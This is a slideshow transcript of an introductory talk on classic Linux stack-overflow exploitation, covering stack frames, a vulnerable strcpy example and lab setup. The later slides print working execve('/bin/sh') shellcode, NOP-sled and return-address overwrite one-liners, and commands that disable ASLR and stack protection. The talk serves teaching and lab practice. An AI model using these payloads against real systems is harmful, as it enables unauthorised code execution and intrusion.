Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Introduction to Linux Exploit Development

4,198 views

Published on

Old school linux exploit techniques

Published in: Technology
  • Be the first to comment

Introduction to Linux Exploit Development

  1. 1. Introduction to Linux Exploit Development John deGruyter
  2. 2. About me - @johndegruyter• Security Researcher• Adjunct Professor• Musician (bass player)• Run a couple of CTFs (@the_xrg)• Christian• Served in USMC as a computer specialist• Certifications – GXPN – OSWP – GCPM – GPEN – GCIA – CCNA – Network+ – A+ @johndegruyter
  3. 3. About this talk• Basic, but technical• Old-school attack concepts• Modern protection mechanisms will prevent these types of attacks • Stack cookies • PaX / NX • ASLR @johndegruyter
  4. 4. Why this talk?• Discuss fundamentals in order to move on to more complex techniques• Lots of legacy systems out there• New systems don’t always implement protection mechanisms correctly• Participate in some challenges. They’re fun! – http://exploit-exercises.com – http://community.corest.com/~gera/InsecureProgramming/• Practice labs will be available: http://thexrg.com/downloads @johndegruyter
  5. 5. Hello World!• Source Code (hello.c) -> #include<stdio.h> main void() { printf(“Hello World!”); }• Compiling an executable gcc –ggdb –o hello hello.c -o <output file> -ggdb “Produce debugging information for use by GDB.” @johndegruyter
  6. 6. What just happened? • object file(s) • hello.c • shared object(s) hello Compiler LinkerComplier takes source Linker takes object files In this case we createdfile(s) and creates and links them with an ELF binary executableobject files that other libraries andcontain machine creates our executablelanguage instructions @johndegruyter
  7. 7. ELF File Structure • What can we see by ELF Header examining the file?Program Header – Header information Table – Sections info and content • .data, .rodata, .text .text – Assembly instructions (machine code) .rodata – Linked files … Tools: objdump .data readelfSection Header ldd Table strings @johndegruyter
  8. 8. x86 General RegistersRegister DescriptionEIP holds the instruction being executedESP points to the TOP of the stack frameEBP points to the BOTTOM of the stack frameEAX accumulatorEBX base index used with arrays / general purposeECX used for counting things (ie. loop iterations)EDX typically points to data / general purposeESI source index used with copying dataEDI destination index used with copying datamore… @johndegruyter
  9. 9. main() in ./hello @johndegruyter
  10. 10. main() in ./hello1. PUSH EBP onto the stack2. MOVE ESP into EBP @johndegruyter
  11. 11. main() in ./hello1. AND the content of ESP with 0xfffffff0 (mask)2. SUBTRACT 16 bytes (0x10) from ESP @johndegruyter
  12. 12. main() in ./hello1. MOVE the address 0x080484a0 into EAX2. MOVE the EAX into the address ESP points to @johndegruyter
  13. 13. main() in ./hello1. CALL printf function from LIBC2. LEAVE and RET @johndegruyter
  14. 14. Linux Process Memory Maphttp://duartes.org/gustavo/blog/post/anatomy-of-a-program-in-memory @johndegruyter
  15. 15. The Stack Low Address• Last In First Out (LIFO) 0x0800000 data structure• Grows down in memory address space Grow (push)• Used for: %ESP – passing parameters to functions Shrink (pop) – holding local variables – keeping track of function calls and returns High Address %EBP 0xbfffffff @johndegruyter
  16. 16. PUSH Instruction 0xbfff0004 0xbfff0018 %ESP0xbfff0008 111111111 %ESP 0xbfff0008 111111110xbfff000c 12345678 0xbfff000c 123456780xbfff0010 CCCCCCCC 0xbfff0010 CCCCCCCC0xbfff0014 0xbfff00140xbfff0018 %EBP 0xbfff0018 %EBP %EBP = 0xbfff0018 %EBP = 0xbfff0018 %ESP = 0xbfff0008 PUSH %EBP %ESP = 0xbfff0004 (%ESP) = “11111111” (%ESP) = 0xbfff0018 %EAX = 0xdeadbeef %EAX = 0xdeadbeef @johndegruyter
  17. 17. POP Instruction0xbfff0004 0xbfff0018 %ESP0xbfff0008 11111111 0xbfff0008 11111111 %ESP0xbfff000c 12345678 0xbfff000c 123456780xbfff0010 CCCCCCCC 0xbfff0010 CCCCCCCC0xbfff0014 0xbfff00140xbfff0018 %EBP 0xbfff0018 %EBP %EBP = 0xbfff0018 %EBP = 0xbfff0018 %ESP = 0xbfff0004 POP %EAX %ESP = 0xbfff0008 (%ESP) = 0xbfff0018 (%ESP) = “11111111” %EAX = 0xdeadbeef %EAX = 0xbfff0018 @johndegruyter
  18. 18. Stack Frames• When functions are called we set them up with their own portion of the stack. @johndegruyter
  19. 19. Stack FramesLow Address 0x0800000 %ESP %EBPHigh Address 0xbfffffff @johndegruyter
  20. 20. Stack Frames Low Address 0x0800000Functions will usedifferent portionsof the stack asthey are executed %ESP main frame 0 %EBP High Address 0xbfffffff @johndegruyter
  21. 21. Stack Frames Low Address 0x0800000printf (“Hello World!”) %ESP printf frame 0 %EBP main frame 1 High Address 0xbfffffff @johndegruyter
  22. 22. Stack Frames Low Address 0x0800000Returns backto mainleaveret %ESP main frame 0 %EBP High Address 0xbfffffff @johndegruyter
  23. 23. Function Calls• When we call a function we need to: – save our stack information (EBP and ESP) – return back to the stack frame of the calling function – continue execution on the instruction immediately after the call• This is done using a some common series of instructions – prologue – epilogue * These may be different based on the calling convention used by the program. @johndegruyter
  24. 24. verify_pin( ) function @johndegruyter
  25. 25. verify_pin( ) function Prologue @johndegruyter Epilogue
  26. 26. PrologueSave our place on Low Addressthe stack so thatwe can come backto it when wereturn from ourcalled function’sstack frame. %ESP High Address %EBP @johndegruyter
  27. 27. PrologueSave our stack so Low Addressthat we can comeback to itFrom our mainfunction, we callprintf( ) %ESP High Address %EBP @johndegruyter
  28. 28. Prologue Low AddressWhen a functionis called, we take theaddress of theinstruction following %ESPthe call… High Address %EBP @johndegruyter
  29. 29. Prologue Low Address…and push it ontothe stack. This is ourstored instruction %EIP %ESPpointer (stored EIP) High Address %EBP @johndegruyter
  30. 30. Prologuepush ebp Low Addressmov esp, ebpsub X, esp %EIP %ESP High Address %EBP @johndegruyter
  31. 31. Prologuepush ebp Low Addressmov esp, ebpsub X, espPush ebp onto the %EBP %ESPstack %EIP High Address %EBP @johndegruyter
  32. 32. Prologuepush ebp Low Addressmov esp, ebpsub X, espMove the value of %EBP %ESP %EBPesp into ebp %EIP High Address @johndegruyter
  33. 33. Prologuepush ebp Low Address %ESPmov esp, ebpsub X, espSubtract value X %EBP %EBPfrom ESP %EIP High Address @johndegruyter
  34. 34. Prologuepush ebp Low Address %ESPmov esp, ebpsub X, espX varies and depends %EBP %EBPon how much storage %EIPthe function needs High Address @johndegruyter
  35. 35. Prologuepush ebp Low Address %ESPmov esp, ebpsub X, espRemember, the stack %EBP %EBPgrows toward low %EIPaddresses High Address @johndegruyter
  36. 36. Getting back• We want to return to the previous stack frame – “leave” • mov ebp, esp #moves the value of ebp to esp • pop ebp #POPs the top of the stack into ebp – “ret” • pop EIP (Essentially, you don’t see this in the assembly. You will typically see RET.) • POPs the stored EIP off the stack into the EIP register to continue execution @johndegruyter
  37. 37. EpilogueWe want to Low Address %ESPreturn to theprevious stack frame %EBP %EBP %EIP High Address @johndegruyter
  38. 38. Epiloguemov ebp, esp Low Address %ESPpop ebpThis will be seenin GDB as “leave” %EBP %EBP %EIP High Address @johndegruyter
  39. 39. Epiloguemov ebp, esp Low Addresspop ebpMove EBP to ESPNow ESP points to %EBP %EBP %ESPour stored EBP %EIP High Address @johndegruyter
  40. 40. Epiloguemov ebp, esp Low Addresspop ebpOur stored EBP valuegets popped intothe EBP register setting %EIP %ESPit back to what it was High Address %EBP @johndegruyter
  41. 41. Epiloguemov ebp, esp Low Addresspop ebpNow ESP points to ourstored EIP value whichgets popped into the %EIP %ESPEIP register for execution High Address %EBP @johndegruyter
  42. 42. verify_pin( ) function Prologue @johndegruyter Epilogue
  43. 43. Stack Overflow
  44. 44. verify_pin p[4] EBP EIPvoid verify_pin(char *pin){ char p[4]; strcpy ( p, pin );…} @johndegruyter
  45. 45. verify_pin p[4] EBP EIPvoid verify_pin(char *pin){ char p[4]; strcpy – copies the strcpy ( p, pin ); value of the second… argument into the} first argument @johndegruyter
  46. 46. verify_pin p[4] EBP EIPvoid verify_pin(char *pin){ char p[4]; Not Good!!! strcpy ( p, pin ); strcpy does not verify… that p can hold pin} @johndegruyter
  47. 47. verify_pin p[4] EBP EIPvoid verify_pin(char *pin){ pin “AAAAAAAAAAAA” char p[4]; strcpy ( p, pin ); What if pin is larger… than 4 bytes?} @johndegruyter
  48. 48. verify_pin “AAAA” “AAAA” “AAAA”void verify_pin(char *pin) Stored EBP and{ Stored EIP are both char p[4]; overwritten by strcpy ( p, pin ); “AAAA”…} @johndegruyter
  49. 49. verify_pin “AAAA” “AAAA” “AAAA”Now, when the verify_pinfunction returns to main, theprogram will try to restorecode execution at the storedEIP (which we control). @johndegruyter
  50. 50. verify_pin p[4] EBP EIP pin “AAAAAAAA” + “ADDR”Instead of a string of just “A”sWe launch a specially crafted buffer thatwill precisely overwrite EIP with amemory address @johndegruyter
  51. 51. verify_pin AAAA AAAA ADDR pin “AAAAAAAA” + “ADDR”“ADDR” will be an address of anotherarea of memory that we control.Where our shellcode will be waiting… @johndegruyter
  52. 52. verify_pin AAAA AAAA ADDRADDR• 4 byte memory address• Written as hex (x)• Little endian (bytes in reverse order)• Points to our shellcode• Example: 0xbffffa32 -> x32xfaxffxbf @johndegruyter
  53. 53. verify_pin AAAA AAAA bffffa320xbfffa32 - will point to our shellcodeIn the sample programs, we need to firstfind out where our shellcode resides inmemory to get this address. @johndegruyter
  54. 54. Another point of view…
  55. 55. Stack Overflow• New function 0xbfff0004 “dostuff()” is called 0xbfff0008 0xbfff000c• We will write past our stored EIP 0xbfff0010 0xbfff0014 0xbfff0018 0xbfff001c %ESP 0xbfff0020 main() Frame 0 0xbfff0024 %EBP @johndegruyter
  56. 56. Stack Overflow (prologue)• Stored EIP gets pushed on stack 0xbfff0004 0xbfff0008• Stored EBP gets 0xbfff000c pushed on stack 0xbfff0010 0xbfff0014 Stored EBP %ESP• This is so it knows 0xbfff0018 Stored EIP how to get back before it called the 0xbfff001c function 0xbfff0020 main() Frame 0 0xbfff0024 %EBP @johndegruyter
  57. 57. Stack Overflow (prologue)• EBP shifts to ESP 0xbfff0004 0xbfff0008 %ESP• ESP shifts based on 0xbfff000c dostuff() how much space is Frame 0 needed for the 0xbfff0010 function. This is the 0xbfff0014 Stored EBP %EBP SUB instruction we 0xbfff0018 Stored EIP saw earlier. 0xbfff001c 0xbfff0020 main() Frame 0 0xbfff0024 @johndegruyter
  58. 58. Stack Overflow• Local variables are 0xbfff0004 created on the stack 0xbfff0008 int x; %ESP 0xbfff000c int y; dostuff() Frame 0 0xbfff0010 0xbfff0014 Stored EBP %EBP 0xbfff0018 Stored EIP 0xbfff001c 0xbfff0020 main() Frame 0 0xbfff0024 @johndegruyter
  59. 59. Stack Overflow• Vulnerable function 0xbfff0004 (strcpy, gets, etc) allows int x to be 0xbfff0008 AAAA %ESP overwritten by a 0xbfff000c AAAA dostuff() value larger than its Frame 0 0xbfff0010 AAAA allocated storage 0xbfff0014 AAAA %EBP size 0xbfff0018 AAAA• Overflow occurs 0xbfff001c AAAA 0xbfff0020 main() Frame 0 0xbfff0024 @johndegruyter
  60. 60. Stack Overflow (epilogue)• ESP has shifted 0xbfff0004 back, so when the function returns it 0xbfff0008 AAAA will always be right 0xbfff000c AAAA after the stored EIP 0xbfff0010 AAAA 0xbfff0014 AAAA 0xbfff0018 0xbfff0199 %ESP 0xbfff001c shellcode 0xbfff0020 shellcode main() Frame 0 0xbfff0024 shellcode %EBP @johndegruyter
  61. 61. Stack Overflow (epilogue)• The stored EIP is grabbed off the stack 0xbfff0004 so that execution can resume in the calling 0xbfff0008 function 0xbfff000c AAAA 0xbfff0010 AAAA• It will not return to the main function, it 0xbfff0014 AAAA will go to the 0xbfff0018 0xbfff0199 address that overwrote the stored 0xbfff001c shellcode %ESP EIP (which we main() control) 0xbfff0020 shellcode Frame 0 0xbfff0024 shellcode %EBP @johndegruyter
  62. 62. Stack Overflow (epilogue)• A common technique is to 0xbfff0004 write beyond the 0xbfff0008 stored EIP 0xbfff000c AAAA• Here we will place 0xbfff0010 AAAA our shellcode or NOP sled 0xbfff0014 AAAA• Then find a static 0xbfff0018 0xbfff0199 “jmp esp” 0xbfff001c shellcode %ESP instruction main() 0xbfff0020 shellcode Frame 0 0xbfff0024 shellcode %EBP @johndegruyter
  63. 63. Class Overflow Objectives• Cause a crash• See if we can overwrite EIP• Find the distance to stored EIP so that we know how big to make our buffer• Find where in the process we can inject our shellcode• Overwrite the stored EIP to point to our shellcode or a NOP sled into our shellcode @johndegruyter
  64. 64. Mitigation
  65. 65. Modern Mitigation• ASLR – Randomizes the location of memory segments at runtime.• Stack Cookies – Places an arbitrary value in front of stored EBP. Before the function returns, these values are checked for consistency.• Non-executable stack – Sections of memory marked as non-executable. Shellcode in these locations will not run. @johndegruyter
  66. 66. Labs@johndegruyter
  67. 67. Disabling ASLR• Check for ASLR – If this is anything but zero, you are likely using ASLR # cat /proc/sys/kernel/randomize_va_space• Run this, then cat the file again to verify # echo 0 > /proc/sys/kernel/randomize_va_space• Settings should return after a reboot @johndegruyter
  68. 68. Disabling Stack Protection• To disabling stack cookies, use the following option with gcc –fno-stack-protector• To disable non-executable stack protection, use the following option with gcc -z execstack $ gcc –o verify_pin –z execstack –ggdb –fno-stack- protector verify_pin.c @johndegruyter
  69. 69. Shellcode
  70. 70. Shellcode• Small piece of code that we want to execute to gain access to a system – start a shell – open a port – add a user• Typically written in assembly• Be careful of bad characters – 0x00, 0x0d, 0x0a, 0x20, etc @johndegruyter
  71. 71. Shellcode Example (1) http://www.exploit-db.com/exploits/13365/ @johndegruyter
  72. 72. Shellcode Example (2)• execve(“/bin/sh”)"x31xc0x50x68//shx68/binx89xe3x50x53x89xe1x99xb0x0bxcdx80"• Below is useful if we attack gets() – closes stdin, reopens /dev/tty, execve(”/bin/sh”)"x31xc0x31xdbxb0x06xcdx80”"x53x68/ttyx68/devx89xe3x31xc9x66xb9x12x27xb0x05xcdx80”"x31xc0x50x68//shx68/binx89xe3x50x53x89xe1x99xb0x0bxcdx80" http://www.exploit-db.com/exploits/13357/ @johndegruyter
  73. 73. Getting shellcode• Metasploit Framework – msfpayload + msfencoder• exploit-db.com• Metasm - http://metasm.cr0.org/ – Nice tool for working with assembly instructions – metasm_shell.rb included with Metasploit @johndegruyter
  74. 74. NOP - x90• “No Operation” – Assembly instruction that will basically do nothing – EIP continues to the next instruction – Useful as padding if we are not sure of the exact address to jump to (NOP sled) “x90” * 1000 + *shellcode+ + *EIP overwrite+ Here we could jump back into our buffer @johndegruyter
  75. 75. xCC• INTerrupt instruction – Tells debugger to break and will halt the program – If we can hit xCC, we know that we can jump to this location and execute code. – We can use this address and replace it with our shellcode or NOP sled – This is a quick way to test our overflow print “xcc” * 1000 @johndegruyter
  76. 76. Basic Pythonfor exploiting stack overflows
  77. 77. Basic Python (1)• We’ll be using python to write our exploits $ python –c “print ‘A’*1000”• If you want to write it to a file $ python –c “print ‘A’*1000” > buffer.text $ cat buffer.txt | ./vbinary $ ./vbinary < buffer.txt @johndegruyter
  78. 78. Basic Python (2)• Finding EIP $ python –c “print ‘A’*996 + ‘BBBB’”• Jumping back into our buffer to INT $ python –c “print ‘xcc’ * 996 + ‘x32xf4xffxbf’”• Jumping back into our buffer to NOP sled + INT $ python –c “print ‘x90’ * 900 + ‘xcc’ * 96 + ‘x10xf4xffxbf’” @johndegruyter
  79. 79. Basic Python (3)• Jumping back into our buffer to NOP sled + Shellcode $ python –c “print ‘x90’ * 952 + ‘x31xc0x50x68//shx68/binx89xe3x50x53x89xe1x9 9xb0x0bxcdx80’ + ‘B’ * 20 + ‘x10xf4xffxbf’”• We need to take in account the length of the shellcode that it does not change our buffer and overwriting EIP $ python >>> x = (paste in your shellcode) >>> len(x) >>>24 @johndegruyter
  80. 80. Basic Python (4)• Jumping past our buffer to NOP sled + shellcode this is good if you can find a static ‘jmp esp’ in the program. In this example 0xbffff475 is the address to jmp esp. However, this is not necessary if there is no memory randomization $ python –c “print ‘x90’ * 996 + ‘x75xf4xffxbf’ + ‘x90’ *500 + ‘x31xc0x50x68//shx68/binx89xe3x50x53x8 9xe1x99xb0x0bxcdx80’ + ‘B’ * 20 + ‘” @johndegruyter
  81. 81. Additional Methods
  82. 82. Finding EIP• We want to overwrite EIP exactly – Trial and error? • 500 crashes the program • Try 450 = crashes • Try 400 = doesn’t crash • Try 425 = until we overwrite EIP • Use a specific 4 character string AAAAAAAAAAAAAAAAAAAAAAAA + BBBB • We want to overwrite EIP with ‘424242’ which is the ascii value of ‘B’ @johndegruyter
  83. 83. Cyclic patterns (1)• Use cyclic pattern as your buffer. This is a sequence of unique patterns within your string• Send the buffer to the program so that it crashes. You should be able to see the value in EIP when it crashes.• If you search for these 4 characters in your buffer, you will be able to will get the offset of EIP @johndegruyter
  84. 84. Cyclic patterns (2)• Metasploit comes with some tools for this – pattern_create.rb will create a cyclical string to use as your buffer $ ./pattern_create.rb 100 > pc100.txt “Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3A b4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8A c9Ad0Ad1Ad2A” – pattern_offset.rb will find a substring within a string and give you the offset $ ./pattern_offset.rb Aa1A @johndegruyter
  85. 85. Don’t have pattern_create.rb?$ python>>> import string>>> x = <paste your 500 cyclic pattern>>>> find (x, “Aa1A”) + 1• In the example tarball there is a 500 character file pc500.txt and a script (pcloc.py) to get the offset @johndegruyter
  86. 86. Small Buffer (1)• What if we have a small buffer and can’t write beyond EIP?• We have to find another place to put our shellcode. @johndegruyter
  87. 87. Small Buffer (2)• What if we have a small buffer and can’t write beyond EIP?• We have to find another place to put our shellcode. How about an environment variable? @johndegruyter
  88. 88. Shellcode in environment variable• Environment variables are addressable within the process for that user export myname=John echo $myname• From the command prompt export myshell=$(python -c print "x90"*1000 + "xebx1ax5ex31xc0x88x46x07x8dx1ex89x 5ex08x89x46x0cxb0x0bx89xf3x8dx4ex08 x8dx56x0cxcdx80xe8xe1xffxffxffx2fx62x 69x6ex2fx73x68") @johndegruyter
  89. 89. Finding address of our environment variable• Go into GDB, break main, run• (gdb) x/5000wx $esp• Keep hitting enter, look for your NOPs• Tool in the tarball (getEnv) ./getEnv <var> Addr of shell is 0xbffff6ee String there is “/bin/bash” @johndegruyter
  90. 90. Closing @johndegruyter
  91. 91. Labs• 1 - Exploring ELF• 3 - Stack Overflows• Try it yourself or use the step-by-step walkthroughs• Available at:http://thexrg.com/downloads @johndegruyter

×